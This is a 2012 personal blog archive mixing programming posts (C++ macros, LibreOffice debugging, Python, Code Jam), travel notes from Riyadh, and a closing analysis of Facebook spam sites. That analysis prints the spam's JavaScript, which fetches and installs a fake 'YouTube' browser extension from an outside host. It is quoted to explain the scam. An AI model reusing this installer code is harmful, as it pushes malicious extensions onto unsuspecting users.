Sunday, July 29, 2012

Life Before Templates

Recently functional languages are exploding on the scene. Old languages are slowly but steadily gaining new features. C++ 11 has a whole lot of new stuff. But, in this post I want to go back to some good old code. Code that was probably written when I was crawling as a toddler. C++ templates were introduced in mid-80s, so how did programmers code before that? Pre-processor

Have a look at http://docs.libreoffice.org/svl/html/svarray_8hxx.html It contains a lot of macros which create whole classes! (If you have time, see where each macro is being called, and do the whole stuff on your own to get the final class, and you'll appreciate the ingenuity of the programmers of old).

I have never used complex macros since in C and C++ since use of macros are kindaa frowned upon, so I decided to post a small and ugly use of these macros.

If I had been a programmer before C++ had templates, this is what I'd have done to add ;)

#define ADD_FUNC(ret,typedesc) \
typedesc add##ret(typedesc a, typedesc b){\
        typedesc c; \
        c = a + b; \
        return c;\
    }

The above code can be used by the following macro calls,
ADD_FUNC(int,int);
ADD_FUNC(float,float);


This would get me two neat functions for addition - addint(int,int), addfloat(float,float)

I can use these functions directly as,
cout<<addint(4,5)<<endl;
cout<<addfloat(4.3,5.2)<<endl;

Note that the above macro is very different from a normal macro function like,
#define MACRO_ADD(a,b) (a+b)

The first macro *creates new functions* which are then called directly by name. The second macro will be called differently,
cout<<macro_add(1,5)<<endl;
cout<<macro_add(2.2,3.1)<<endl;


Here is a full file to make everything very clear,

In LibreOffice code, you'll find that the calls to the macro generated functions/classes are themselves created using other macros. However all the old stuff is now being replaced by STL containers, so hurry you might miss some beautiful/ugly old code. (Its ugly in 2012, but it shows the ingenuity of the programmers of old! So that's the jackassery that was going on there!

Tuesday, July 17, 2012

So you clicked on the menu, huh?

Menu Dropdown
I put a breakpoint at libo/vcl/source/window/winproc.cxx:2405, at the case SAL_EVENTMOUSEDOWN, to see
what happens when I click a mouse.
I clicked on File Menu, it hit the breakpoint. Then off it goes to calls ImplHandleSalMouseButtonDown ()
with the following details stored in pEvent and pWindow.
pEvent
    mnTime = 78764380 //Time
    mnX = 18 //x co-ordinate
    mnY = 9 //y co-ordinate
    mnButton = 1 //left button, 4 for right click, 2 for clicking with the scroller
    mnCode = 0 //to find whether click is part of some select etc.
pWindow - the window object.
    
The ImplHandleSalMouseButtonDown () function is in ./libo/vcl/source/window/winproc.cxx:2068, it checks
whether shift, ctrl or alt keys were pressed in 2076, and then calls ImplGetMouseButtonMode () with pEvent
(function is at ./libo/vcl/source/window/winproc.cxx:2030) to get further details of whether it is a simple
click event or whether it is part of select, multi (ctrl+click?) or range select, using pEvent's mnCode
variable.
The ImplGetMouseButtonMode () function returns nMode as 3. The first two if statements were true, ie.
MOUSE_SIMPLECLICK and MOUSE_SELECT. Once, this returns, ImplHandleSalMouseButtonDown () calls the function
ImplHandleMouseEvent (), with
    - the window object - pWindow
    - nSVEvent = 1 (EVENT_MOUSEBUTTONDOWN)
    - bMouseLeave = False
    - x,y co-ordinates
    - time of the event nMsgTime
    - nCode = 1, to indicate status of shift,ctrl keys
    - and mode of click , nMode = 3
The function then does the following,
    - gets the details of the frame
    - checks the previous location of the mouse.
    - updates the frame data with the latest details
    - checks whether the mouse has left or entered (?).
    - finds the window
    - after finding the window
        - it checks whether the window was disabled
    - it comes to line 666 (after several if conditions turned out to be false), for the mouse click event
        - here it checks for double click.
        - it then updates the details in the child window object
    - It creates the MouseEvent object at line 709
    - It notifies the child window of the event. Off to the next function.
    - In the next call, first the constructor of ImplDelData is called (maybe due to some
        inheritance) ImplDelData::ImplDelData () at /home/jesso/Downloads/libreoffice/libo/vcl/inc/
        svdata.hxx:424, this is there to protect against the window from getting destroyed.
    - The NotifyEvent object is created.
    - It then checks whether it should bring the window into focus, if it previously didn't have focus,
        close context menus etc.
    - ImplCallPreNotify function
        - calls long Application::CallEventHooks () at ./libo/vcl/source/app/svapp.cxx:1657
        - that function returns 0
        - so it gets the PreNotify () method on the window object in the event object.
    - Finally it calls the MouseButtonDown() method on the pChild pointer, which happens to be
          MenuBarWindow::MouseButtonDown () at ./libo/vcl/source/window/menu.cxx:5366
The MenuBarWindow::MouseButtonDown () then does the following,
    - It first finds the entry on which the action happened.
    - It then calls ChangeHighlightItem (which needs to be refactored, btw)
    - This decides whether to update the focus etc
    - It then finally creates the pop up in line 5477

Monday, July 9, 2012

So You Inserted A Table, huh?


Aim

To make sense of LibreOffice source code. I plan to put a breakpoint in the  constructors of SwTableBox, and then get the back trace to see the flow and gain a little understanding of what's going on. This is post is aimed at beginners, so a little knowledge of C++/Java should be able to get one through this.

A Little Background Info (Skip this)

I'm a programmer from the Center for Development of Advanced Computing (CDAC), India, currently on a joint project with King Abdulaziz City for Science and Technology, Saudi Arabia, tasked with fixing bugs/improving LibreOffice. This is part of my efforts to understand (and help my team-mates understand) the source code. Any comments/suggestions/edits to this will be GREATLY APPRECIATED ;) You can fork this at https://gist.github.com/3038116

Initial Steps

I started to debug LibreOffice by following the steps listed in the official debugging guide after creating a build with --enable-debug --enable-symbols set in autogen.sh

Starting the Debugger

I started soffice with ddd after sourcing ooenv. Next, I set a breakpoint in line 1717 and 1738, constructors of SwTableBox in the file libo/sw/source/core/table/swtable.cxx, by typing  break /home/jesso/Downloads/libreoffice/libo/sw/source/core/table/swtable.cxx:1717, at the GDB console in the bottom of the DDD window, hoping these lines would be executed when a new table was created, and clicked on Run to start the execution.

In Writer, I inserted a new table, and as expected, the breakpoint at 1717 was hit!  Clicking on Status -> Backtrace in ddd, opens a pop up window with the Backtrace. I am reproducing it below, skipping the memory addresses alone.

Backtrace

#36 in main () at main.c:24
#35 in sal_main () at main.c:25
#34 in soffice_main () at sofficemain.cxx:77
#33 in SVMain () at svmain.cxx:210
#32 in ImplSVMain () at svmain.cxx:173
#31 in desktop::Desktop::Main () at app.cxx:1764
#30 in Application::Execute () at svapp.cxx:414
#29 in Application::Yield () at svapp.cxx:469
#28 in ImplYield () at svapp.cxx:435
#27 in GtkInstance::Yield () at gtkinst.cxx:538
#26 in GtkData::Yield () at gtkdata.cxx:578
#25 in g_main_context_iteration () from libglib-2.0.so.0
#24 in ?? () from libglib-2.0.so.0
#23 in g_main_context_dispatch () from libglib-2.0.so.0
#22 in ?? from libglib-2.0.so.0
#21 in call_userEventFn () at gtkdata.cxx:950
#20 in GtkData::userEventFn () at gtkdata.cxx:940
#19 in SalGenericDisplay::DispatchInternalEvent () at gendisp.cxx:102
#18 in SalFrame::CallCallback () at salframe.hxx:281
#17 in ImplWindowFrameProc () at winproc.cxx:2575
#16 in ImplHandleUserEvent () at winproc.cxx:2003
#15 in Link::Call () at link.hxx:143
#14 in SfxHintPoster::LinkStubDoEvent_Impl () at hintpost.cxx:65
#13 in SfxHintPoster::DoEvent_Impl () at hintpost.cxx:61
#12 in SfxHintPoster::Event () at hintpost.cxx:71
#11 in GenLink::Call () at genlink.hxx:45
#10 in Link::Call () at link.hxx:143
#09 in SfxDispatcher::LinkStubPostMsgHandler () at dispatch.cxx:1215
#08 in SfxDispatcher::PostMsgHandler () at dispatch.cxx:1244
#07 in SfxDispatcher::Call_impl () at dispatch.cxx:259
#06 in SfxShell::CallExec () at shell.hxx:199
#05 in SfxStubSwTextShellExecInsert () at swslots.hxx:2376
#04 in SwTextShell::ExecInsert () at textsh.cxx:466
#03 in SwBaseShell::InsertTable () at baseh.cxx:2654
#02 in SwEditShell::InsertTable () at edtab.cxx:77
#01 in SwDoc::InsertTable () at ndtbl.cxx:545
#00 in SwTableBox::SwTableBox () at swtable.cxx:1717

So, that's 36 calls, but I guess only calls from #21 are related to my table insertion actions.

What happens in each call

I am skipping calls #36 - #25 for now as they are mostly related to application startup. Calls #25 - #22 are inside glib (so, i'm not going to bother much about them).

#25 g_main_context_iteration () from libglib-2.0.so.0

Checks whether any event sources are ready to be processed. More details can be found here.

#23 in g_main_context_dispatch () from libglib-2.0.so.0

This dispatches all sources. More details are here.

#21 in call_userEventFn () at gtkdata.cxx:950

It is called by g_main_context_dispatch () with a pointer to a generic pointer name data. I was unable to dereference it.

#20 in GtkData::userEventFn () at gtkdata.cxx:940

The generic data pointer becomes a GtkData pointer here. Displaying the value pointed to by the pointer reveals a SalGenericData object(?) containing a SalData object (?) and a m_pUserEvent pointer. Dereferencing the m_pUserEvent pointer I found it contained, pointers to callback_funcs, source_funcs, callback_data etc. All these are interesting but I am unable to dereference these now as they are still generic pointers. Well, on the GtkData pointer, GetGtkDisplay() method is called, which returns a GtkSalDisplay object, on which the DispatchInternalEvent() method is called (the method is inherited from SalGenericDisplay).

Note -
* pThis seems to be concerned with the data directly resulting from the event (?),
*pData seems to contain the general details of the whole parent window (?), getting it from the GetGenericData() call which returns the variable pImplSVData.

#19 in SalGenericDisplay::DispatchInternalEvent () at gendisp.cxx:102

Here the lock is acquired, to get the values from m_aUserEvents. So, this seems to be where the actual user event and the corresponding data are fetched (?). The nEvent value is 22. The SalFrame is obtained and the CallCallback method is called on this object.

#18 in SalFrame::CallCallback () at salframe.hxx:281

This just calls the function stored in its own m_pProc variable.

#17 in ImplWindowFrameProc () at winproc.cxx:2575 

This contains the message loop. This function seems to handle *all* the user's inputs on the LibreOffice window. Seems to be a gold mine for putting breakpoints when we don't have a clue about any bug, and then we can step from here to where we want! The nEvent = 22 is SALEVENT_USEREVENT. Off we go to the next call in the same file.

#16 in ImplHandleUserEvent () at winproc.cxx:1986 

This just calls the function stored in the pointer.

#15 in Link::Call () at link.hxx:143  

The function pointed to by the pointer is called. Printing pFunc we get
(PSTUB) 0xb758ebbe

#14 in SfxHintPoster::LinkStubDoEvent_Impl () at /libo/sfx2/source/notify/hintpost.cxx:56 

Simply passes the data along to the next function (?).

#13 in SfxHintPoster::DoEvent_Impl () at /libo/sfx2/source/notify/hintpost.cxx:52

It passes the pointer it received on to the next function.

#12 SfxHintPoster::Event () at hintpost.cxx:60

I guess now it comes directly here. Seems to pass a function pointer deeper down.

#11 GenLink::Call () at /libo/sfx2/inc/sfx2/genlink.hxx:45 - Calls the function pointer.

#10 Link::Call () at /libo/solver/unxlngi6.pro/inc/tools/link.hxx:143

We've come back (?) to Call #15. It took the else part in the previous call, and we're back. But now we are calling a different function.

Printing pFunc here -
(PSTUB) 0xb73d97ba

I guess this Link::Call seems to be used to resolve function pointers in general (?).

#09 SfxDispatcher::LinkStubPostMsgHandler () at /libo/sfx2/source/control/dispatch.cxx:1205 

This function is commented. (Yay!) Helper method to receive the asynchronously executed s.

#08 SfxDispatcher::PostMsgHandler () at /libo/sfx2/source/control/dispatch.cxx:1234 


Stuff is added to SfxSlotServer and the next call is made. Expanding the pSlot pointer variable in ddd shows the structure containing variables which have subsequent calls (SfxStubSwTextShellExecInsert) stored in them.

#07 in SfxDispatcher::Call_Impl () at /libo/sfx2/source/control/dispatch.cxx:249

Its a helper function to check whether a slot can be executed and check the execution itself (from the comments in the code). It passes the target function SfxStubSwTextShellExecInsert to method CallExec in class SfxShell.

#06 in SfxShell::CallExec () at /libo/sfx2/inc/sfx2/shell.hxx:190

It simply executes the function pointed to by the function pointer.

#05 in SfxStubSwTextShellExecInsert () at /libo/workdir/unxlngi6.pro/SdiTarget/sw/sdi/swslots.hxx:2376

Now you'll find a line SFX_EXEC_STUB(SwTextShell,ExecInsert). I spent some time grepping for that, so I'll reproduce that macro here. Btw, macro is defined in 'sfx2/inc/sfx2/msg.hxx'.
 
  #define SFX_EXEC_STUB( aShellClass, aExecMethod) \
  void SfxStub##aShellClass##aExecMethod( \
    SfxShell *pShell, SfxRequest& rReq) \
   { \
     (( aShellClass* ) pShell )->aExecMethod( rReq ); \
   }

 
IMHO, this file seems to be a gold mine for putting break points, because, like winproc.cxx in #17, all the control seems to flow through these two areas, but I'm not sure about putting breakpoints on macros (?).

#04 in SwTextShell::ExecInsert () at /libo/sw/source/ui/shells/textsh.cxx:466

The code is more understandable at these layers. This function seems to be concerned with the insertion of *all* the objects into the document (is the document itself called as the shell?). It has one huge switch case for handling the various types of objects that can be inserted. Talking about that, the function gets value of the slot from the SfxRequest variable that it received as an argument, whose value the  ddd is showing as 20330 (ie. variable nSlot=20330, of type unsigned short), that maps to FN_INSERT_TABLE.

How? These details are in /libo/clone/binfilter/binfilter/inc/bf_sw/cmdid.h, in line 349 we have FN_INSERT + 30, and line 38 has FN_INSERT = (SID_SW_START + 300), and SID_SW_START = 20000 (this is defined in /libo/binfilter/inc/bf_sfx2/sfxsids.hrc). So the question becomes, where did it calculate 20330 first, I have to look keenly in the upper layers and update :( . Inside the case, it simply calls
InsertTable function with the argument that it received.

#03 -> SwBaseShell::InsertTable () in libo/sw/source/ui/shells/baseh.cxx:2654

This is where all the options entered in the dialog are finally retrieved. The data is present in the _rRequest variable and you can notice the retrieval of the table name, number of rows and columns etc. in lines 2582 - 2586, using SFX_REQUEST_ARG macros. The values that are finally stored in pName, pRows etc. were all entered in the Table dialog box, and ddd displays the values as these are ordinary integers. The items are then added once again as to _rRequest in proper Sfx formats(?) in lines 2641 to 2644.

Finally at 2654, the table is inserted! Notice that this call is sandwiched between rSh.StartAllAction () and rSh.EndAllAction (). After this layer, the parameters are passed expicitly, that is, not packaged in SfxRequest object anymore.

#02 -> SwEditShell::InsertTable () at libo/sw/source/core/edit/edtab.cxx:77

Again all the contents of the function are sandwiched between StartAllAction () and EndAllAction (). The current position of the cursor is obtained from GetCrsr()->GetPoint(), and the GetDoc() function returns the current document object, on which the next call happens.

#01 -> SwDoc::InsertTable () in libo/sw/source/core/docnode/ndtbl.cxx

This seems to deal at the table level. It gets the boxes/cells from SwTableBox::SwTableBox () and stores it in the variable pBox. It then constructs the table and returns a table node (?) - the variable pNdTbl (of type SwTable).

#00 -> SwTableBox::SwTableBox () in libo/sw/source/core/table/swtable.cxx:1717 

This is where I put he break point blindly, well all the constructors in this class had one. This constructor gets called four times, that is, for each cell in the table (am I right about the cell -> box mapping?).

The journey isn't over yet, the damned table hasn't even been printed to the screen, and every single function has to return the data. I'll edit this again as I make my journey upwards all the way back!

Takeaways



Files in Calls #17 and #5 are great places to put break points when we have no idea about any bug etc. as they are the critical points through which the flow must happen. There seem to be a couple of important Get* functions like GetGenericData (), GetDoc (), GetCur () etc. which can be used to get important objects.

pImplSVData - seems to be an important variable, used to get the display etc (?). Get it using GetGenericData().


SwWrtShell Object
More details about that can be found here. It is used in many functions, and in each case is retrieved by using GetShell ().


SfxRequest Object

SfxRequest object seems to be a container through which the data are passed around generally.

* Items are added to it using, reqObj.AppendItem ( ).

* After all items are appended method Done() is called on the object. ie. reqObj.Done()

* Items are retrieved using SFX_REQUEST_ARG macro.
    - It is defined in libo/sfx2/inc/sfx2/request.hxx
    - #define SFX_REQUEST_ARG(rReq, pItem, ItemType, nSlotId, bDeep) \
        const ItemType *pItem = (const ItemType*)

Saturday, June 30, 2012

Project Ideas for Students under Anna University curriculum

One fine day when I was working, one of my favorite professors (Dr. D Surendran) came on gtalk and asked me to write a blog on project ideas for final year students studying Computer Science or Information Technology under Anna University, Chennai. Having faced a lot of interviews and having interviewed people for jobs and admissions, I know how important a project is in helping you get your first job. So here is what I wish I had done a few years back.

Plan B - An IEEE Project

Pick an IEEE paper published last year in your domain and do it! Well I didn't have to tell you this, that's why I titled it "Plan B".

Plan A - Non IEEE Project

Most colleges in Tamil Nadu make it mandatory that students should implement a recent IEEE paper and improve on that. It is intended to make sure that the projects are of respectable quality and are not some simple Android or Web app. So once we understand that IEEE is just for street cred, we can look out for even cooler projects, that'll make you stand out in every interview you attend, projects that'll be cool in an IIM admission's interview, as well as cool in an interview with Google.

Cool Project Idea #1 - Google Summer of Code

If you want a job with Google, start with Google!
Pros :
* You get paid!
* Guaranteed success in every 2nd tier programming job in India (I mean Infosys, TCS, CTS,..).
* You have a good shot at 'dream companies' (I still remember the student lingo) - Google, Amazon, ...

Cons :
* You have to be selected.

What to do?
* Visit the page.
* Follow instructions.

Try hard, ask people, bug your professors, for ideas... give it your best shot.

Cool Project Idea #2 - LibreOffice GSoC Ideas

This is as good as #1, but that gets you paid, so this becomes #2.

Pros :
* No rejection.
* Very supportive community.
* Same street cred as #1.

Cons :
* You don't get paid.

What to do?
* Sign up for the libreoffice mailing list.
* Create a local build of libreoffice in your computer.
* Complete an Easy Hack first.
* Email the list with the patch and tell them that you want to work on a GSoC idea.
* If anyone replies, they'll help you out with the basic ideas. (If you complete an Easy Hack or some other small patch, people will definitely reply).
* If no one replies, email the people on the ideas page directly and take it from there.

Cool Project Idea #3 - Some patch in the Linux Kernel

Get something done in the linux kernel. Needn't be big, but something quite significant enough for a project (not the kernel).

Pros :
* Great chances in any company which work on the kernel - nVidia, Intel, IBM (cool jobs, not the 'ordinary IBM jobs'), heck, Google again.

Cons :
* Very agressive community.  You'll get blasted if you act smart or act foolish. Got to tread the line carefully.
* Your patches might not be given the slightest damn.

What to do?
* Visit http://kernelnewbies.org/KernelHacking

Cool Project Idea #4 - Help professors in their doctoral prusuit

It is the best solution if the previous ideas are too daunting. Find out professors who are pursuing their PhD and ask them whether anything can be worked out. When I was a student, I tried and gave up on Dr. Surendran's research (sorry sir, but you didn't need my help after all!), helped prof Maheswar Rajagopal with some simulation and used that a lot in interviews!.

This will get you lots of points in interviews as it shows that your professors who kind of know you well after three years, trust you. And this is a win-win for both professors and students. And this is far easier to get, when I was a student, I could have easily worked with three or four lecturers, just look and ask around.

Pros :
* Interview points (not as much as others, but far more than any IEEE project)
* A healthy relationship - lecturers will appreciate this a lot, they'll be even flattered you asked!
* Best guidance possible. They will have a clear understanding of your knowledge, and since they a critical stake, they'll also give you good bite sized chunks of work according to your ability.

Cons :
* If anything goes bad - heaven help you! Things can become nasty really quick.

Cool Project Idea #5 - Internship At Any Reputed Company

If you get  a job in any company they'll let you do your project there if you 'ask' them. Some dont even required that you be placed there, like CDAC. Call people and ask if you can intern with them.

Pros :
* Smooth transistion from education to work.
* You can skip training when you join later in the same organisation.
* You might get paid!

Cons :
* You'll face work issues a bit earlier in life.
* No counter strike in college lab.

So that's it. Bug your professors. Email me. Ask people for ideas. And don't forget to follow your heart.

Saturday, June 9, 2012

Life in Saudi - Day 02

The second day 08-06-2012 turned out to be a friday. We woke up late as we were tired and went to the McDonald's in the neighborhood. We had to wait a long time as it was prayer time in the evening and they wouldn't open the singles section. A lot of other Arabians came and fought with the guy who was standing near the door as he wouldn't open it. It was very funny to see them argue. Once we got inside my vegetarian friends had a problem since everything was non veg. But, there was one guy wearing a tie who understood some English and he offered them a big mac without the non veg pieces. He was very friendly, and we had a great time there. While we were eating, one westerner turned up. He seemed pretty annoyed at the loud arabian boys, who were sitting in the next table.

Coming to TV, most of the channels are in arabic. BBC, CNN, Fox and Bloomberg are available. There is no censorship in TV.

Friday, June 8, 2012

Life In Saudi - Day 01

Its my second day in Riyadh, Saudi Arabia, and before I came I found a few blogs about life in Saudi Arabia very useful. And so this blog is now going to be my contribution back to the internet community. I'll just be describing what I see and notice, and since I am going to keep describing stuff as when it happens, that is on a daily basis, (this is a blog and not a twitter feed), you should get a fairly good idea.

Day 1 - 07 - June - 2012

I hopped on an etihad flight from Chennai to Abu dabhi in the Chennai airport. The process there was uneventful, except for the fact that *I alone* was picked out for random questioning. Every. Single. Time. Two other friends on the same project who were traveling with me were not bothered with at all. Every other guy, well the security guard and emigration guy, both wanted to know where I was going and why, how long I would stay, and which institute was responsible there. I wasn't pulled out of the queue or anything but it still wasn't normal.

Well then coming to etihad airways, it sucked in India. The ground crew were very unprofessional. Even budget airlines are better than them. But, etihad in Abu Dabhi are totally different. They were very professional and excellent there.

Anyway the guy handling the check-in gave me a free 2kgs waiver, I carried 25 kgs, 2 more than the measly 23 kgs allowed for check in officially. I was also offered an upgrade to business class for 5000 rupees.

The flight was uneventful - the cabin crew were pleasant and nice. Landed in Abu Dabhi on time. The connecting flight was 2 hours later so we had some time there.

Then the flight to Riyadh... all the rumors were wrong. No the air hostesses didn't wear burkahs. Etihad airways was playing the Big bang theory with Penny uncensored! But, I suddenly noticed there were hardly any women passengers. From Abu Dabhi, women simply disappeared on the way to Riyadh.

Before we landed in Riyadh, the Air steward gave an entry form with a threatening message - death to drug traffickers! It had questions regarding one's religion, marital status etc. Then the flight landed. After we got into the airport, we found a place to fill out our forms. Before we knew, we were surrounded by a couple of illiterate pakistani's asking for help in filling the forms. We filled out one form, tried to make the rest do the same, couldn't convince them to fill out their own forms, ended up doing it for three other guys.

Entry Queues - Must read if you are on a first visit!
Here comes the dreaded Saudi entry process. Here every rumor was false again but the terrified process was worse than we thought. We saw three queues - one for first entry, one for re entry, one for business persons and diplomats. Being on a government visit visa, we decided to go to the last one - business/diplomats. Language became a huge problem from this point. Till I explicitly tell otherwise, every conversation that follows was one filled with a long back and forth of Arabic and English/hindi.Policemen didn't know English at all. They were smoking freely. Cracking jokes across the counters and were in general rude to everyone. One policeman came over to the end as soon as we got there and wanted to know why we were standing there and not in the first entry. We told him that we were on a gov. visit and handed the passports, he stared long and hard at the visa and then left us. Once we got to the checking guy, he saw the visa and asked us to go to the first entry queue. This policeman intervened and asked to us to go straight to another queue, bypassing others. The new policeman saw our visas and redirected us once again to another guy. The new guy was quite rude, and well he said there was a problem in the visa and asked us to go to the immigration office. One guy after a few minutes said he'll take care of the process and took us back to the counters, he got on a machine and processed quite quickly for me and one friend. The process for all involves scanning the finger prints and taking a photo. The fingerprinting process takes a lot of time since the policemen don't know that there is a green light indicating that the process is over and ask you to keep your fingers pressed for five damn minutes. For next friend, he stamped the passport but didn't hand it back. He instead took it to another counter and gave it to someone else. The new guy wouldn't tell what the problem was and just asked us to wait. The old guy who was Mr. Nice till then just told "not finish, not finish" and left us. We waited for around two hours without a clue. Stranded. In an alien land. Without a damn clue. Finally we were able to make them say "system problem". We were quite relieved that it was not any fault on our side. Anyway just before lunch another guy who was simply roaming around finally got to a computer and did something and returned our passports.

We went to collect our luggage, and unsurprisingly ours was the only ones not collected. We went for the exit, and surprise, surprise, our luggage was simply sent through the scanner and was not subject to any rigorous scanning as we heard. When we went out the person to collect us was waiting patiently and he took charge. I got a sim card from Zain network in the airport itself and off we went.

The city had wide, wide roads. And the buildings are very spaced. Coming from crowded India, it appears that there is no life here! I couldn't see people on the road. I mean in India, people walk on the road, drive two wheelers so one can see them easily. Since everyone is in a car here and no one walks - walks as in walking normally across the street, or like standing outside for a friendly chat, we couldn't see a single soul anywhere. Riyadh appears like a ghost town with cars roaring across the roads.

Got home to a big 2bhk furnished apartment with wifi access! The person in charge of the apartment  block was a friendly Sri Lankan. The workers here also are very friendly. We made ourselves fresh and then went out to the supermarket across the road to get some basic stuff. The cashier knows Hindi, and so it means fewer language problems. A woman came shopping and one of my friends asked a simple question, "how much does curd cost?" since the number was in Arabic, and she ran away!!! We were baffled and learned an important lesson! Never talk to women here.

Cooked noodles and slept.

Day 2  - (McDonalds and television channels. I'll blog tomorrow.)

Sunday, May 6, 2012

Nginx 403 error on all files

Recently I moved my personal website to my VPS, from a hosting provider. Everything was fine but Nginx just wouldn't serve static js and css files.

Saw a couple of posts about this like, http://nicholasorr.com/blog/2008/07/22/nginx-engine-x-what-a-pain-in-the-bum/. Checking the logs showed the same permission denied error, but the individual files were readable by all users.

However, Stackoverflow saved the day!

The directories needed execute permission! and it didn't have it.... so another unnecessary post, nevertheless I've already typed the whole thing out, so I might as well let it stay.

Thursday, April 19, 2012

Python - Somthing similar to curry

Currying is a pretty neat idea. However python has its own partial in functools module.

So, left with nothing better to do, I had an idea of a function that waits till it has been called with the required number of arguments to return the result. That is, the arguments from the previous calls should be saved somewhere and used later.

So, here is the result almost_curry!


class almost_curry():
    def __init__(self,func):
        import inspect as insp
        self.func = func
        self.argsInFunc = insp.getargspec(func)[0]
        self.argsReq = len(self.argsInFunc)
        self.args = []
        self.kwargs = {}
   
    def __call__(self,*args,**kwargs):
        if args:
            self.args.extend(args)
            if len(self.args) == self.argsReq:
                targs = list(self.args)
                self.args = []
                return self.func(*targs)
               
        if kwargs:
            self.kwargs.update(kwargs)
            if len(self.kwargs) == self.argsReq:
                tkwargs = self.kwargs.copy()
                self.kwargs = {}
                return self.func(**tkwargs)


If we have a normal function, say sumxy,


def sumxy(x,y):
    return x+y


Now, we can do something like,
csumxy = almost_curry(sumxy)

If we call the our csumxy (its an object, not a function, but, functions are objects, oh I am getting loopy, never mind...)

csumxy(4) #just a normal call
csumxy(5) #target function has got the required number or args, so
9               # it has output the result! yay!

Takeaway: I found one use for the inspect module in python. Pulling this off without getargspec() in inspect would have required some other kind of hackery. If you have any suggestions please comment.

Wednesday, April 18, 2012

Google Code Jam - C++ base code

The qualification round is over! I found myself checking other people's code and I decided for the next rounds I'd need some common code to cut short the development time. There is no point in keeping this a secret, because, anyone can read other people's code and *a lot of far better, and really good code* are there if you check the code of the top 20 or so.

I plan to stick with python, however if speed of execution becomes very crucial, this will be my plan B (my plan A - using pypy ;) ).

I am treating each test case as a separate object. And since there is usually no common data  shared between  test cases, they can and should be parallelized. Pthreads are doing the job well enough, though I will try to check something with OpenMP's #pragma directive.

Note that while using pthreads and treating each test case as completely different gives us some gain, memoizing becomes a little bit more painful.

I also couldn't resist the urge to implement an ugly forAll kind of function. The doWork() is just something to test the performance gain, run this using perf in linux... and read the code and do comment if you have any suggestion, or I'll simply hunt your code down and read and learn from it ;)

#include < iostream >
#include < vector >
#include < pthread.h >

using namespace std;

class TestCase{

    private:
        int begin,end,result;

    public:
        TestCase(){begin = end = result = 0;}
        TestCase(int x, int y):begin(x),end(y){}
        void doWork();
        friend ostream & operator < < (ostream & out1,TestCase &t1);
        friend istream & operator >> (istream & in1,TestCase &t1);
};

void TestCase::doWork(){
    for(int i = 0; i < begin; i++){
        for(int j = 0; j < end*10;j++){
            for(int k = 0; k < begin; k++){
                result += 1;
            }
        }
    }
}

ostream & operator << (ostream & out1,TestCase &t1){
    out1&lt&ltt1.result;
    return out1;
}

istream & operator >> (istream & in1,TestCase &t1){
    in1 >> t1.begin &gt&gt t1.end;
    return in1;
}


inline void forAllTestCases(const int &num_testcases, vector<TestCase *> &tarr, void (*func)(TestCase * tptr)){
    int i = 0;
    while(num_testcases - i){
        func(tarr[i++]);
    }
}

void try1(TestCase * tptr){
    tptr-&gtdoWork();
}

void *doWork(void *threadArg){
    TestCase *tmp;
    tmp = reinterpret_cast<TestCase *>(threadArg);
    tmp->doWork();
}

int main(){
    int num_testcases,i;
    vector<TestCase *> tarr;
    cin>>num_testcases;

//read the input - I usually redirect the stdin
    TestCase *tptr;
    for(i=0;i<num_testcases;i++){
        tptr = new TestCase;
        cin >> *tptr;
        tarr.push_back(tptr);
    }

    vector<pthread_t> mythreads(100);
    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_attr_setdetachstate(&attr,PTHREAD_CREATE_JOINABLE);
    void *status;
    int rc;

   
    for(i=0;i<num_testcases;i++)
    {
        rc = pthread_create(&mythreads[i],&attr,doWork, (void *) tarr[i]);
    }

    pthread_attr_destroy(&attr);

    //forAllTestCases(num_testcases,tarr,&try1);

//print the output
    for(i = 0; i < num_testcases; i++){
        rc = pthread_join(mythreads[i],&status);
        cout<<*tarr[i]<<endl;
    }

   
}

Changing Password In BOSS Linux (Tamil Nadu Laptops)

Here is how you can change your password in BOSS Linux. The procedure is common for all GNOME 2.x Linux operating systems, but recently the BOSS Helpline is being flooded with calls from students who have received free laptops from the Tamil Nadu Government, so the support guys asked us to help them out, and so I want to be a little Google search friendly. I assume people will search something similar to Tamil Nadu Government laptop password change, or BOSS password change, or BOSS authorization code ???

If you received the laptop as part of the Tamil Nadu Gov scheme, there will be two default passwords. One is "boss" - the normal user password and the other is "root" - the administrative password.

  • When you login, for example, you'll have to enter boss as password. 
  • When you click on the Windows drive in linux and it asks for a password, you'll have to enter root.

To change the user password (first one)

In your desktop you should be seeing Applications, Places, System in the bottom. Click on System -> Administration -> Users and Groups.

You'll see something similar this,

Click on the change and give whatever password you want.

To change the admin password (second one)

Go to Applications -> Accessories -> Terminal

Type sudo -i and press the Enter key.
If it asks for a password, enter your first password.

If it is successful, you'll find the wordings change from boss@boss to root@boss

Now, type passwd

Enter the new password.

The system will not accept weak passwords, however if you want to make life simpler at your own peril, type pam-auth-update --remove passwdqc

After you've given that the system will not bother you when you enter weak passwords.

If you are still not sure, call 1800 4250 455

Wednesday, March 14, 2012

Facebook spam sites - Code which installs the browser plugin

Here is the javascript that is executed when you click on the install Youtube plugin button.
See previous post for more details.

var is_chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;
var is_firefox = navigator.userAgent.toLowerCase().indexOf('firefox') > -1;

function instalar()
{
    if (is_chrome)
   {
      window.open("http://onbus.info/fb/youtube.crx");
   }
   else if(is_firefox)
   {
     var params = {
           "Youtube Extension": {
                  URL: "http://onbus.info/fb/youtube.xpi",
                  toString: function () { return this.URL; }
            }
      };
      InstallTrigger.install(params);
   }
   else
   { 
     window.open("http://www.google.com/chrome/eula.html");
   }
}

Facebook posts spam code sample - do it yourself!

Here is a small piece of code from one Facebook spamming website, which gets publishes shit on people's walls, and, well embarrasses the ruined guy.

Here we go,

Click on Google Chrome's wrench icon -> Tools -> Javascript console

Paste this  and press enter and see it change into something meaningful. This is how code obfuscation works.

